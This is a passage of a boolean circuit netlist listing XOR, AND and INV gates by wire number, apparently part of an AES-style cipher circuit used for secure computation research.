1518 1358 1390 XOR +2 1 1390 1388 18582 XOR +2 1 1487 1327 1359 XOR +2 1 1519 1359 1391 XOR +2 1 1391 1385 18589 XOR +2 1 1386 18589 18674 XOR +2 1 1390 18674 18670 XOR +2 1 18674 18670 18657 AND +2 1 21266 21267 32706 XOR +2 1 32706 21241 36707 XOR +2 1 36707 1427 1299 XOR +2 1 1459 1299 1331 XOR +2 1 36739 1299 1171 XOR +2 1 36771 1171 1043 XOR +2 1 1331 1171 1203 XOR +2 1 1203 1043 1075 XOR +2 1 1491 1331 1363 XOR +2 1 1523 1363 1395 XOR +2 1 1395 1393 17612 XOR +2 1 17612 1394 17571 XOR +2 1 1363 1203 1235 XOR +2 1 1235 1075 1107 XOR +2 1 1395 1235 1267 XOR +2 1 1267 1265 15666 XOR +2 1 15666 1266 15625 XOR +2 1 1271 15625 15754 XOR +2 1 15754 1271 15740 AND +2 1 1267 1107 1139 XOR +2 1 1399 17571 17700 XOR +2 1 17700 1399 17686 AND +2 1 21263 32706 21243 XOR +2 1 21259 21243 21209 XOR +1 1 21209 21206 INV +2 1 21206 21207 36705 XOR +2 1 36705 1429 1301 XOR +2 1 1461 1301 1333 XOR +2 1 1493 1333 1365 XOR +2 1 1525 1365 1397 XOR +2 1 1397 17609 17611 XOR +2 1 1393 17611 17692 XOR +2 1 1394 17611 17689 XOR +2 1 17616 17611 17691 XOR +2 1 1398 1397 17626 XOR +2 1 1397 1395 17705 XOR +2 1 1396 1397 17586 XOR +2 1 36737 1301 1173 XOR +2 1 1333 1173 1205 XOR +2 1 1365 1205 1237 XOR +2 1 1397 1237 1269 XOR +2 1 1269 15663 15665 XOR +2 1 1265 15665 15746 XOR +2 1 1266 15665 15743 XOR +2 1 15670 15665 15745 XOR +2 1 1270 1269 15680 XOR +2 1 1269 1267 15759 XOR +2 1 1268 1269 15640 XOR +2 1 21264 21243 21203 XOR +2 1 21232 21203 36710 XOR +2 1 36710 1424 1296 XOR +2 1 1456 1296 1328 XOR +2 1 1488 1328 1360 XOR +2 1 1520 1360 1392 XOR +2 1 1394 1392 17610 XOR +2 1 17610 17705 17690 XOR +2 1 1395 1392 17703 XOR +2 1 17703 17626 17699 XOR +2 1 17610 17616 17698 XOR +2 1 17626 17698 17696 XOR +2 1 17609 17703 17695 XOR +2 1 1399 17695 17694 XOR +2 1 17612 17610 17572 XOR +2 1 17609 17572 17693 XOR +2 1 1392 1398 17704 XOR +2 1 1392 1397 17702 XOR +2 1 17695 17699 17688 AND +2 1 17688 17612 17615 XOR +2 1 17696 17694 17687 AND +2 1 17704 17689 17685 AND +2 1 17685 17610 17614 XOR +2 1 17698 17691 17683 AND +2 1 17703 17692 17682 AND +2 1 17682 17611 17613 XOR +2 1 17615 17613 17619 XOR +2 1 1392 17619 17624 XOR +2 1 17705 17690 17681 AND +2 1 17681 17687 17633 XOR +2 1 17633 17624 17679 XOR +2 1 17681 17682 17585 XOR +2 1 17585 17586 17632 XOR +2 1 17632 17614 17631 XOR +2 1 17684 17631 17678 XOR +2 1 17702 17693 17680 AND +2 1 17680 17683 17634 XOR +2 1 17680 17686 17638 XOR +2 1 17638 17610 17625 XOR +2 1 17633 17625 17676 XOR +2 1 17681 17634 17628 XOR +2 1 17614 17634 17588 XOR +2 1 17588 17613 17677 XOR +2 1 17619 17638 17587 XOR +2 1 1394 17587 17630 XOR +2 1 17684 17628 17584 XOR +2 1 1398 17584 17671 XOR +2 1 17679 17678 17675 AND +2 1 17675 17630 17670 XOR +2 1 17675 17677 17674 XOR +2 1 17676 17674 17673 AND +2 1 17673 17630 17672 XOR +2 1 17673 17685 17579 XOR +2 1 17579 17615 17575 XOR +2 1 1392 17575 17578 XOR +2 1 17673 17624 17576 XOR +2 1 1394 17575 17574 XOR +2 1 17670 17671 17669 AND +2 1 17669 17677 17668 XOR +2 1 17675 17669 17667 XOR +2 1 17669 17628 17583 XOR +2 1 17669 17686 17582 XOR +2 1 17582 17683 17577 XOR +2 1 17577 17578 17660 XOR +2 1 17677 17667 17666 AND +2 1 17666 17674 17664 XOR +2 1 17666 17684 17637 XOR +2 1 17637 17631 17658 XOR +2 1 1398 17637 17620 XOR +2 1 17620 17583 17665 XOR +2 1 17672 17664 17663 AND +2 1 17663 17633 17623 XOR +2 1 17623 17625 17662 XOR +2 1 17663 17687 17581 XOR +2 1 17620 17581 17573 XOR +2 1 17610 17573 17580 XOR +2 1 17577 17580 17661 XOR +2 1 17623 17576 17659 XOR +2 1 17573 17574 17657 XOR +2 1 17658 17695 17656 AND +2 1 17665 17694 17655 AND +2 1 17668 1399 17654 AND +2 1 17654 17656 17636 XOR +2 1 17659 17689 17653 AND +2 1 17662 17701 17652 AND +2 1 17672 17691 17651 AND +2 1 17651 17652 17590 XOR +2 1 17660 17692 17650 AND +2 1 17657 17690 17649 AND +2 1 17649 17652 17605 XOR +1 1 17605 17602 INV +2 1 17649 17650 17601 XOR +2 1 17661 17693 17648 AND +2 1 17658 17699 17647 AND +2 1 17665 17696 17646 AND +2 1 17668 17700 17645 AND +2 1 17659 17704 17644 AND +2 1 17644 17648 17621 XOR +2 1 17653 17644 17606 XOR +1 1 17621 17599 INV +2 1 17662 17697 17643 AND +2 1 17651 17643 17608 XOR +2 1 17672 17698 17642 AND +2 1 17599 17642 17598 XOR +2 1 17598 17636 17594 XOR +2 1 17660 17703 17641 AND +2 1 17641 17594 17597 XOR +2 1 17657 17705 17640 AND +2 1 17640 17641 17635 XOR +2 1 17646 17635 17617 XOR +2 1 17647 17617 17618 XOR +2 1 17655 17618 17622 XOR +2 1 17656 17622 17627 XOR +2 1 17608 17635 17604 XOR +2 1 17636 17604 17607 XOR +2 1 17606 17607 17709 XOR +2 1 17599 17604 17603 XOR +2 1 17602 17603 17708 XOR +2 1 17627 17601 17707 XOR +2 1 17617 17594 17593 XOR +2 1 17654 17622 17591 XOR +2 1 17590 17591 36746 XOR +2 1 17661 17702 17639 AND +2 1 17650 17639 17600 XOR +1 1 17600 17596 INV +2 1 17596 17597 17706 XOR +1 1 17709 36743 INV +1 1 17708 36744 INV +1 1 17707 36749 INV +1 1 17706 36748 INV +2 1 36749 1289 1161 XOR +2 1 36742 1296 1168 XOR +2 1 1328 1168 1200 XOR +2 1 36743 1295 1167 XOR +2 1 1360 1200 1232 XOR +2 1 1392 1232 1264 XOR +2 1 1266 1264 15664 XOR +2 1 15664 15759 15744 XOR +2 1 1267 1264 15757 XOR +2 1 15757 15680 15753 XOR +2 1 15664 15670 15752 XOR +2 1 15680 15752 15750 XOR +2 1 15663 15757 15749 XOR +2 1 1271 15749 15748 XOR +2 1 15666 15664 15626 XOR +2 1 15663 15626 15747 XOR +2 1 1264 1270 15758 XOR +2 1 1264 1269 15756 XOR +2 1 15749 15753 15742 AND +2 1 15742 15666 15669 XOR +2 1 15750 15748 15741 AND +2 1 15758 15743 15739 AND +2 1 15739 15664 15668 XOR +2 1 15752 15745 15737 AND +2 1 15757 15746 15736 AND +2 1 15736 15665 15667 XOR +2 1 15669 15667 15673 XOR +2 1 1264 15673 15678 XOR +2 1 15759 15744 15735 AND +2 1 15735 15741 15687 XOR +2 1 15687 15678 15733 XOR +2 1 15735 15736 15639 XOR +2 1 15639 15640 15686 XOR +2 1 15686 15668 15685 XOR +2 1 15738 15685 15732 XOR +2 1 15756 15747 15734 AND +2 1 15734 15737 15688 XOR +2 1 15734 15740 15692 XOR +2 1 15692 15664 15679 XOR +2 1 15687 15679 15730 XOR +2 1 15735 15688 15682 XOR +2 1 15668 15688 15642 XOR +2 1 15642 15667 15731 XOR +2 1 15673 15692 15641 XOR +2 1 1266 15641 15684 XOR +2 1 15738 15682 15638 XOR +2 1 1270 15638 15725 XOR +2 1 15733 15732 15729 AND +2 1 15729 15684 15724 XOR +2 1 15729 15731 15728 XOR +2 1 15730 15728 15727 AND +2 1 15727 15684 15726 XOR +2 1 15727 15739 15633 XOR +2 1 15633 15669 15629 XOR +2 1 1264 15629 15632 XOR +2 1 15727 15678 15630 XOR +2 1 1266 15629 15628 XOR +2 1 15724 15725 15723 AND +2 1 15723 15731 15722 XOR +2 1 15729 15723 15721 XOR +2 1 15723 15682 15637 XOR +2 1 15723 15740 15636 XOR +2 1 15636 15737 15631 XOR +2 1 15631 15632 15714 XOR +2 1 15731 15721 15720 AND +2 1 15720 15728 15718 XOR +2 1 15720 15738 15691 XOR +2 1 15691 15685 15712 XOR +2 1 1270 15691 15674 XOR +2 1 15674 15637 15719 XOR +2 1 15726 15718 15717 AND +2 1 15717 15687 15677 XOR +2 1 15677 15679 15716 XOR +2 1 15717 15741 15635 XOR +2 1 15674 15635 15627 XOR +2 1 15664 15627 15634 XOR +2 1 15631 15634 15715 XOR +2 1 15677 15630 15713 XOR +2 1 15627 15628 15711 XOR +2 1 15712 15749 15710 AND +2 1 15719 15748 15709 AND +2 1 15722 1271 15708 AND +2 1 15708 15710 15690 XOR +2 1 15713 15743 15707 AND +2 1 15716 15755 15706 AND +2 1 15726 15745 15705 AND +2 1 15705 15706 15644 XOR +2 1 15714 15746 15704 AND +2 1 15711 15744 15703 AND +2 1 15703 15706 15659 XOR +1 1 15659 15656 INV +2 1 15703 15704 15655 XOR +2 1 15715 15747 15702 AND +2 1 15712 15753 15701 AND +2 1 15719 15750 15700 AND +2 1 15722 15754 15699 AND +2 1 15713 15758 15698 AND +2 1 15698 15702 15675 XOR +2 1 15707 15698 15660 XOR +1 1 15675 15653 INV +2 1 15716 15751 15697 AND +2 1 15705 15697 15662 XOR +2 1 15726 15752 15696 AND +2 1 15653 15696 15652 XOR +2 1 15652 15690 15648 XOR +2 1 15714 15757 15695 AND +2 1 15695 15648 15651 XOR +2 1 15711 15759 15694 AND +2 1 15694 15695 15689 XOR +2 1 15700 15689 15671 XOR +2 1 15701 15671 15672 XOR +2 1 15709 15672 15676 XOR +2 1 15710 15676 15681 XOR +2 1 15662 15689 15658 XOR +2 1 15690 15658 15661 XOR +2 1 15660 15661 15763 XOR +2 1 15653 15658 15657 XOR +2 1 15656 15657 15762 XOR +2 1 15681 15655 15761 XOR +2 1 15671 15648 15647 XOR +2 1 15708 15676 15645 XOR +2 1 15644 15645 36778 XOR +2 1 15715 15756 15693 AND +2 1 15704 15693 15654 XOR +1 1 15654 15650 INV +2 1 15650 15651 15760 XOR +1 1 15763 36775 INV +1 1 15762 36776 INV +1 1 15761 36781 INV +1 1 15760 36780 INV +2 1 36744 1294 1166 XOR +2 1 1321 1161 1193 XOR +2 1 1353 1193 1225 XOR +2 1 1327 1167 1199 XOR +2 1 1359 1199 1231 XOR +2 1 1391 1231 1263 XOR +2 1 1385 1225 1257 XOR +2 1 1263 1257 12181 XOR +2 1 36748 1290 1162 XOR +2 1 1322 1162 1194 XOR +2 1 1354 1194 1226 XOR +2 1 1386 1226 1258 XOR +2 1 1258 12181 12267 XOR +2 1 36746 1292 1164 XOR +2 1 1324 1164 1196 XOR +2 1 1326 1166 1198 XOR +2 1 1358 1198 1230 XOR +2 1 1390 1230 1262 XOR +2 1 1262 12267 12263 XOR +2 1 12267 12263 12250 AND +2 1 1356 1196 1228 XOR +2 1 1388 1228 1260 XOR +2 1 1262 1260 12174 XOR +2 1 36774 1168 1040 XOR +2 1 36780 1162 1034 XOR +2 1 36775 1167 1039 XOR +2 1 36778 1164 1036 XOR +2 1 1196 1036 1068 XOR +2 1 1228 1068 1100 XOR +2 1 1260 1100 1132 XOR +2 1 36776 1166 1038 XOR +2 1 1199 1039 1071 XOR +2 1 1200 1040 1072 XOR +2 1 1198 1038 1070 XOR +2 1 1230 1070 1102 XOR +2 1 1262 1102 1134 XOR +2 1 36781 1161 1033 XOR +2 1 1193 1033 1065 XOR +2 1 1225 1065 1097 XOR +2 1 1257 1097 1129 XOR +2 1 36769 1173 1045 XOR +2 1 1205 1045 1077 XOR +2 1 1237 1077 1109 XOR +2 1 1269 1109 1141 XOR +2 1 1194 1034 1066 XOR +2 1 1226 1066 1098 XOR +2 1 1258 1098 1130 XOR +2 1 1231 1071 1103 XOR +2 1 1263 1103 1135 XOR +2 1 1232 1072 1104 XOR +2 1 1264 1104 1136 XOR +2 1 15706 15707 32666 XOR +2 1 32666 15681 36779 XOR +2 1 15703 32666 15683 XOR +2 1 15699 15683 15649 XOR +1 1 15649 15646 INV +2 1 15646 15647 36777 XOR +2 1 15704 15683 15643 XOR +2 1 15672 15643 36782 XOR +2 1 17652 17653 32680 XOR +2 1 17649 32680 17629 XOR +2 1 17650 17629 17589 XOR +2 1 17645 17629 17595 XOR +1 1 17595 17592 INV +2 1 17592 17593 36745 XOR +2 1 17618 17589 36750 XOR +2 1 32680 17627 36747 XOR +2 1 22517 22518 32715 XOR +2 1 22514 32715 22494 XOR +2 1 22510 22494 22460 XOR +1 1 22460 22457 INV +2 1 22457 22458 36713 XOR +2 1 36713 1421 1293 XOR +2 1 36745 1293 1165 XOR +2 1 1453 1293 1325 XOR +2 1 1325 1165 1197 XOR +2 1 1485 1325 1357 XOR +2 1 1357 1197 1229 XOR +2 1 1517 1357 1389 XOR +2 1 1390 1389 18599 XOR +2 1 1389 1229 1261 XOR +2 1 1262 1261 12191 XOR +2 1 1261 12174 12176 XOR +2 1 1257 12176 12258 XOR +2 1 1258 12176 12255 XOR +2 1 12181 12176 12257 XOR +2 1 1260 1261 12151 XOR +2 1 1389 18582 18584 XOR +2 1 1386 18584 18662 XOR +2 1 18589 18584 18664 XOR +2 1 22515 22494 22454 XOR +2 1 22483 22454 36718 XOR +2 1 36718 1416 1288 XOR +2 1 36750 1288 1160 XOR +2 1 1448 1288 1320 XOR +2 1 1320 1160 1192 XOR +2 1 1480 1320 1352 XOR +2 1 1352 1192 1224 XOR +2 1 1512 1352 1384 XOR +2 1 1384 1390 18677 XOR +2 1 18677 18662 18658 AND +2 1 1386 1384 18583 XOR +2 1 18658 18583 18587 XOR +2 1 18583 18589 18671 XOR +2 1 18671 18664 18656 AND +2 1 18599 18671 18669 XOR +2 1 1384 1224 1256 XOR +2 1 1258 1256 12175 XOR +2 1 1256 1261 12268 XOR +2 1 1256 1262 12270 XOR +2 1 12270 12255 12251 AND +2 1 12251 12175 12179 XOR +2 1 1384 1389 18675 XOR +2 1 12175 12181 12264 XOR +2 1 12191 12264 12262 XOR +2 1 12264 12257 12249 AND +2 1 1388 1389 18559 XOR +2 1 36782 1160 1032 XOR +2 1 36777 1165 1037 XOR +2 1 1197 1037 1069 XOR +2 1 1229 1069 1101 XOR +2 1 1261 1101 1133 XOR +2 1 1192 1032 1064 XOR +2 1 1224 1064 1096 XOR +2 1 1256 1096 1128 XOR +2 1 1385 18584 18665 XOR +2 1 32715 22492 36715 XOR +2 1 36715 1419 1291 XOR +2 1 1451 1291 1323 XOR +2 1 36747 1291 1163 XOR +2 1 1323 1163 1195 XOR +2 1 1483 1323 1355 XOR +2 1 1515 1355 1387 XOR +2 1 1387 1385 18585 XOR +2 1 1387 1384 18676 XOR +2 1 18676 18599 18672 XOR +2 1 18582 18676 18668 XOR +2 1 1391 18668 18667 XOR +2 1 1389 1387 18678 XOR +2 1 18583 18678 18663 XOR +2 1 18585 18583 18545 XOR +2 1 18582 18545 18666 XOR +2 1 18585 1386 18544 XOR +2 1 1391 18544 18673 XOR +2 1 18668 18672 18661 AND +2 1 18661 18585 18588 XOR +2 1 18669 18667 18660 AND +2 1 18673 1391 18659 AND +2 1 18676 18665 18655 AND +2 1 18655 18584 18586 XOR +2 1 18588 18586 18592 XOR +2 1 1384 18592 18597 XOR +2 1 18678 18663 18654 AND +2 1 18654 18660 18606 XOR +2 1 18606 18597 18652 XOR +2 1 18654 18655 18558 XOR +2 1 18558 18559 18605 XOR +2 1 18605 18587 18604 XOR +2 1 18657 18604 18651 XOR +2 1 18675 18666 18653 AND +2 1 18653 18656 18607 XOR +2 1 18653 18659 18611 XOR +2 1 18611 18583 18598 XOR +2 1 18606 18598 18649 XOR +2 1 18654 18607 18601 XOR +2 1 18587 18607 18561 XOR +2 1 18561 18586 18650 XOR +2 1 18592 18611 18560 XOR +2 1 1386 18560 18603 XOR +2 1 18657 18601 18557 XOR +2 1 1390 18557 18644 XOR +2 1 18652 18651 18648 AND +2 1 18648 18603 18643 XOR +2 1 18648 18650 18647 XOR +2 1 18649 18647 18646 AND +2 1 18646 18603 18645 XOR +2 1 18646 18658 18552 XOR +2 1 18552 18588 18548 XOR +2 1 1384 18548 18551 XOR +2 1 18646 18597 18549 XOR +2 1 1386 18548 18547 XOR +2 1 18643 18644 18642 AND +2 1 18642 18650 18641 XOR +2 1 18648 18642 18640 XOR +2 1 18642 18601 18556 XOR +2 1 18642 18659 18555 XOR +2 1 18555 18656 18550 XOR +2 1 18550 18551 18633 XOR +2 1 18650 18640 18639 AND +2 1 18639 18647 18637 XOR +2 1 18639 18657 18610 XOR +2 1 18610 18604 18631 XOR +2 1 1390 18610 18593 XOR +2 1 18593 18556 18638 XOR +2 1 18645 18637 18636 AND +2 1 18636 18606 18596 XOR +2 1 18596 18598 18635 XOR +2 1 18636 18660 18554 XOR +2 1 18593 18554 18546 XOR +2 1 18583 18546 18553 XOR +2 1 18550 18553 18634 XOR +2 1 18596 18549 18632 XOR +2 1 18546 18547 18630 XOR +2 1 18631 18668 18629 AND +2 1 18638 18667 18628 AND +2 1 18641 1391 18627 AND +2 1 18627 18629 18609 XOR +2 1 18632 18662 18626 AND +2 1 18635 18674 18625 AND +2 1 18645 18664 18624 AND +2 1 18624 18625 18563 XOR +2 1 18633 18665 18623 AND +2 1 18630 18663 18622 AND +2 1 18622 18625 18578 XOR +1 1 18578 18575 INV +2 1 18622 18623 18574 XOR +2 1 18634 18666 18621 AND +2 1 18631 18672 18620 AND +2 1 18638 18669 18619 AND +2 1 18641 18673 18618 AND +2 1 18632 18677 18617 AND +2 1 18617 18621 18594 XOR +2 1 18626 18617 18579 XOR +1 1 18594 18572 INV +2 1 18635 18670 18616 AND +2 1 18624 18616 18581 XOR +2 1 18645 18671 18615 AND +2 1 18572 18615 18571 XOR +2 1 18571 18609 18567 XOR +2 1 18633 18676 18614 AND +2 1 18614 18567 18570 XOR +2 1 18630 18678 18613 AND +2 1 18613 18614 18608 XOR +2 1 18619 18608 18590 XOR +2 1 18620 18590 18591 XOR +2 1 18628 18591 18595 XOR +2 1 18629 18595 18600 XOR +2 1 18581 18608 18577 XOR +2 1 18609 18577 18580 XOR +2 1 18579 18580 18682 XOR +2 1 18572 18577 18576 XOR +2 1 18575 18576 18681 XOR +2 1 18600 18574 18680 XOR +2 1 18590 18567 18566 XOR +2 1 18627 18595 18564 XOR +2 1 18563 18564 36754 XOR +2 1 18634 18675 18612 AND +2 1 18623 18612 18573 XOR +1 1 18573 18569 INV +2 1 18569 18570 18679 XOR +1 1 18682 36751 INV +1 1 18681 36752 INV +1 1 18680 36757 INV +1 1 18679 36756 INV +2 1 36756 1282 1154 XOR +2 1 36757 1281 1153 XOR +2 1 36752 1286 1570 XOR +1 1 1570 1158 INV +2 1 36751 1287 1571 XOR +1 1 1571 1159 INV +2 1 1314 1154 1186 XOR +2 1 1318 1570 1574 XOR +1 1 1574 1190 INV +2 1 1350 1574 1578 XOR +1 1 1578 1222 INV +2 1 1382 1578 1582 XOR +2 1 1313 1153 1185 XOR +2 1 1319 1571 1575 XOR +1 1 1575 1191 INV +2 1 1351 1575 1579 XOR +1 1 1579 1223 INV +2 1 1383 1579 1583 XOR +2 1 36754 1284 1569 XOR +1 1 1569 1156 INV +2 1 1316 1569 1573 XOR +1 1 1573 1188 INV +2 1 1345 1185 1217 XOR +2 1 1377 1217 1249 XOR +2 1 1346 1186 1218 XOR +2 1 1378 1218 1250 XOR +2 1 1348 1573 1577 XOR +1 1 1577 1220 INV +2 1 1380 1577 1581 XOR +2 1 1355 1195 1227 XOR +2 1 1387 1227 1259 XOR +2 1 1259 1257 12177 XOR +2 1 1259 1256 12269 XOR +2 1 12269 12191 12265 XOR +2 1 12174 12269 12261 XOR +2 1 1263 12261 12260 XOR +2 1 1261 1259 12271 XOR +2 1 12175 12271 12256 XOR +2 1 12177 12175 12137 XOR +2 1 12174 12137 12259 XOR +2 1 12177 1258 12136 XOR +2 1 1263 12136 12266 XOR +2 1 12261 12265 12254 AND +2 1 12254 12177 12180 XOR +2 1 12262 12260 12253 AND +2 1 12266 1263 12252 AND +2 1 12269 12258 12248 AND +2 1 12248 12176 12178 XOR +2 1 12180 12178 12184 XOR +2 1 1256 12184 12189 XOR +2 1 12271 12256 12247 AND +2 1 12247 12253 12198 XOR +2 1 12198 12189 12245 XOR +2 1 12247 12248 12150 XOR +2 1 12150 12151 12197 XOR +2 1 12197 12179 12196 XOR +2 1 12250 12196 12244 XOR +2 1 12268 12259 12246 AND +2 1 12246 12249 12199 XOR +2 1 12246 12252 12203 XOR +2 1 12203 12175 12190 XOR +2 1 12198 12190 12242 XOR +2 1 12247 12199 12193 XOR +2 1 12179 12199 12153 XOR +2 1 12153 12178 12243 XOR +2 1 12184 12203 12152 XOR +2 1 1258 12152 12195 XOR +2 1 12250 12193 12149 XOR +2 1 1262 12149 12237 XOR +2 1 12245 12244 12241 AND +2 1 12241 12195 12236 XOR +2 1 12241 12243 12240 XOR +2 1 12242 12240 12239 AND +2 1 12239 12195 12238 XOR +2 1 12239 12251 12144 XOR +2 1 12144 12180 12140 XOR +2 1 1256 12140 12143 XOR +2 1 12239 12189 12141 XOR +2 1 1258 12140 12139 XOR +2 1 12236 12237 12235 AND +2 1 12235 12243 12234 XOR +2 1 12241 12235 12233 XOR +2 1 12235 12193 12148 XOR +2 1 12235 12252 12147 XOR +2 1 12147 12249 12142 XOR +2 1 12142 12143 12226 XOR +2 1 12243 12233 12232 AND +2 1 12232 12240 12230 XOR +2 1 12232 12250 12202 XOR +2 1 12202 12196 12224 XOR +2 1 1262 12202 12185 XOR +2 1 12185 12148 12231 XOR +2 1 12238 12230 12229 AND +2 1 12229 12198 12188 XOR +2 1 12188 12190 12228 XOR +2 1 12229 12253 12146 XOR +2 1 12185 12146 12138 XOR +2 1 12175 12138 12145 XOR +2 1 12142 12145 12227 XOR +2 1 12188 12141 12225 XOR +2 1 12138 12139 12223 XOR +2 1 12224 12261 12222 AND +2 1 12231 12260 12221 AND +2 1 12234 1263 12220 AND +2 1 12220 12222 12201 XOR +2 1 12225 12255 12219 AND +2 1 12228 12267 12218 AND +2 1 12218 12219 12204 XOR +2 1 12238 12257 12217 AND +2 1 12217 12218 12155 XOR +2 1 12226 12258 12216 AND +2 1 12223 12256 12215 AND +2 1 12215 12204 12194 XOR +2 1 12215 12218 12170 XOR +1 1 12170 12167 INV +2 1 12215 12216 12166 XOR +2 1 12216 12194 12154 XOR +2 1 12227 12259 12214 AND +2 1 12224 12265 12213 AND +2 1 12231 12262 12212 AND +2 1 12234 12266 12211 AND +2 1 12211 12194 12160 XOR +1 1 12160 12157 INV +2 1 12225 12270 12210 AND +2 1 12210 12214 12186 XOR +2 1 12219 12210 12171 XOR +1 1 12186 12164 INV +2 1 12228 12263 12209 AND +2 1 12217 12209 12173 XOR +2 1 12238 12264 12208 AND +2 1 12164 12208 12163 XOR +2 1 12163 12201 12159 XOR +2 1 12226 12269 12207 AND +2 1 12207 12159 12162 XOR +2 1 12223 12271 12206 AND +2 1 12206 12207 12200 XOR +2 1 12212 12200 12182 XOR +2 1 12213 12182 12183 XOR +2 1 12221 12183 12187 XOR +2 1 12222 12187 12192 XOR +2 1 12204 12192 36787 XOR +2 1 12173 12200 12169 XOR +2 1 12201 12169 12172 XOR +2 1 12171 12172 12275 XOR +2 1 12164 12169 12168 XOR +2 1 12167 12168 12274 XOR +2 1 12192 12166 12273 XOR +2 1 12182 12159 12158 XOR +2 1 12157 12158 36785 XOR +2 1 12220 12187 12156 XOR +2 1 12155 12156 36786 XOR +2 1 12183 12154 36790 XOR +2 1 12227 12268 12205 AND +2 1 12216 12205 12165 XOR +1 1 12165 12161 INV +2 1 12161 12162 12272 XOR +1 1 12275 36783 INV +1 1 12274 36784 INV +1 1 12273 36789 INV +1 1 12272 36788 INV +1 1 1583 1255 INV +2 1 1255 1249 12321 XOR +2 1 1250 12321 12407 XOR +1 1 1582 1254 INV +2 1 1254 12407 12403 XOR +2 1 12407 12403 12390 AND +1 1 1581 1252 INV +2 1 1254 1252 12314 XOR +2 1 36779 1163 1035 XOR +2 1 36783 1159 1031 XOR +2 1 36784 1158 1587 XOR +1 1 1587 1030 INV +2 1 1195 1035 1067 XOR +2 1 36788 1154 1584 XOR +1 1 1584 1026 INV +2 1 1186 1584 1588 XOR +1 1 1588 1058 INV +2 1 36789 1153 1025 XOR +2 1 1185 1025 1057 XOR +2 1 1227 1067 1099 XOR +2 1 1259 1099 1131 XOR +2 1 1217 1057 1089 XOR +2 1 1249 1089 1121 XOR +2 1 1218 1588 1592 XOR +1 1 1592 1090 INV +2 1 1250 1592 1596 XOR +1 1 1596 1122 INV +2 1 1190 1587 1591 XOR +1 1 1591 1062 INV +2 1 1191 1031 1063 XOR +2 1 36786 1156 1028 XOR +2 1 1188 1028 1060 XOR +2 1 1220 1060 1092 XOR +2 1 1252 1092 1124 XOR +2 1 1223 1063 1095 XOR +2 1 1255 1095 1127 XOR +2 1 1222 1591 1595 XOR +1 1 1595 1094 INV +2 1 1254 1595 1599 XOR +1 1 1599 1126 INV +2 1 18625 18626 32687 XOR +2 1 32687 18600 36755 XOR +2 1 36755 1283 1568 XOR +2 1 1315 1568 1572 XOR +1 1 1572 1187 INV +2 1 1347 1572 1576 XOR +1 1 1576 1219 INV +2 1 1379 1576 1580 XOR +1 1 1580 1251 INV +2 1 1251 1249 12317 XOR +2 1 12317 1250 12276 XOR +2 1 1255 12276 12406 XOR +2 1 12406 1255 12392 AND +1 1 1568 1155 INV +2 1 36787 1155 1585 XOR +1 1 1585 1027 INV +2 1 1187 1585 1589 XOR +1 1 1589 1059 INV +2 1 1219 1589 1593 XOR +1 1 1593 1091 INV +2 1 1251 1593 1597 XOR +1 1 1597 1123 INV +2 1 18622 32687 18602 XOR +2 1 18618 18602 18568 XOR +1 1 18568 18565 INV +2 1 18565 18566 36753 XOR +2 1 18623 18602 18562 XOR +2 1 18591 18562 36758 XOR +2 1 36753 1285 1157 XOR +2 1 36758 1280 1152 XOR +2 1 1317 1157 1189 XOR +2 1 1349 1189 1221 XOR +2 1 1381 1221 1253 XOR +2 1 1253 12314 12316 XOR +2 1 1249 12316 12398 XOR +2 1 1250 12316 12395 XOR +2 1 12321 12316 12397 XOR +2 1 1254 1253 12332 XOR +2 1 1253 1251 12411 XOR +2 1 1252 1253 12291 XOR +2 1 1312 1152 1184 XOR +2 1 1344 1184 1216 XOR +2 1 1376 1216 1248 XOR +2 1 1250 1248 12315 XOR +2 1 12315 12411 12396 XOR +2 1 1251 1248 12409 XOR +2 1 12409 12332 12405 XOR +2 1 12315 12321 12404 XOR +2 1 12332 12404 12402 XOR +2 1 12314 12409 12401 XOR +2 1 1255 12401 12400 XOR +2 1 12317 12315 12277 XOR +2 1 12314 12277 12399 XOR +2 1 1248 1254 12410 XOR +2 1 1248 1253 12408 XOR +2 1 12401 12405 12394 AND +2 1 12394 12317 12320 XOR +2 1 12402 12400 12393 AND +2 1 12410 12395 12391 AND +2 1 12391 12315 12319 XOR +2 1 12404 12397 12389 AND +2 1 12409 12398 12388 AND +2 1 12388 12316 12318 XOR +2 1 12320 12318 12324 XOR +2 1 1248 12324 12330 XOR +2 1 12411 12396 12387 AND +2 1 12387 12393 12339 XOR +2 1 12339 12330 12385 XOR +2 1 12387 12388 12290 XOR +2 1 12290 12291 12338 XOR +2 1 12338 12319 12337 XOR +2 1 12390 12337 12384 XOR +2 1 12408 12399 12386 AND +2 1 12386 12389 12340 XOR +2 1 12386 12392 12344 XOR +2 1 12344 12315 12331 XOR +2 1 12339 12331 12382 XOR +2 1 12387 12340 12334 XOR +2 1 12319 12340 12293 XOR +2 1 12293 12318 12383 XOR +2 1 12324 12344 12292 XOR +2 1 1250 12292 12336 XOR +2 1 12390 12334 12289 XOR +2 1 1254 12289 12377 XOR +2 1 12385 12384 12381 AND +2 1 12381 12336 12376 XOR +2 1 12381 12383 12380 XOR +2 1 12382 12380 12379 AND +2 1 12379 12336 12378 XOR +2 1 12379 12391 12284 XOR +2 1 12284 12320 12280 XOR +2 1 1248 12280 12283 XOR +2 1 12379 12330 12281 XOR +2 1 1250 12280 12279 XOR +2 1 12376 12377 12375 AND +2 1 12375 12383 12374 XOR +2 1 12381 12375 12373 XOR +2 1 12375 12334 12288 XOR +2 1 12375 12392 12287 XOR +2 1 12287 12389 12282 XOR +2 1 12282 12283 12366 XOR +2 1 12383 12373 12372 AND +2 1 12372 12380 12370 XOR +2 1 12372 12390 12343 XOR +2 1 12343 12337 12364 XOR +2 1 1254 12343 12325 XOR +2 1 12325 12288 12371 XOR +2 1 12378 12370 12369 AND +2 1 12369 12339 12329 XOR +2 1 12329 12331 12368 XOR +2 1 12369 12393 12286 XOR +2 1 12325 12286 12278 XOR +2 1 12315 12278 12285 XOR +2 1 12282 12285 12367 XOR +2 1 12329 12281 12365 XOR +2 1 12278 12279 12363 XOR +2 1 12364 12401 12362 AND +2 1 12371 12400 12361 AND +2 1 12374 1255 12360 AND +2 1 12360 12362 12342 XOR +2 1 12365 12395 12359 AND +2 1 12368 12407 12358 AND +2 1 12358 12359 12327 XOR +2 1 12378 12397 12357 AND +2 1 12357 12358 12295 XOR +2 1 12366 12398 12356 AND +2 1 12363 12396 12355 AND +2 1 12355 12327 12335 XOR +2 1 12355 12358 12310 XOR +1 1 12310 12307 INV +2 1 12355 12356 12306 XOR +2 1 12356 12335 12294 XOR +2 1 12367 12399 12354 AND +2 1 12364 12405 12353 AND +2 1 12371 12402 12352 AND +2 1 12374 12406 12351 AND +2 1 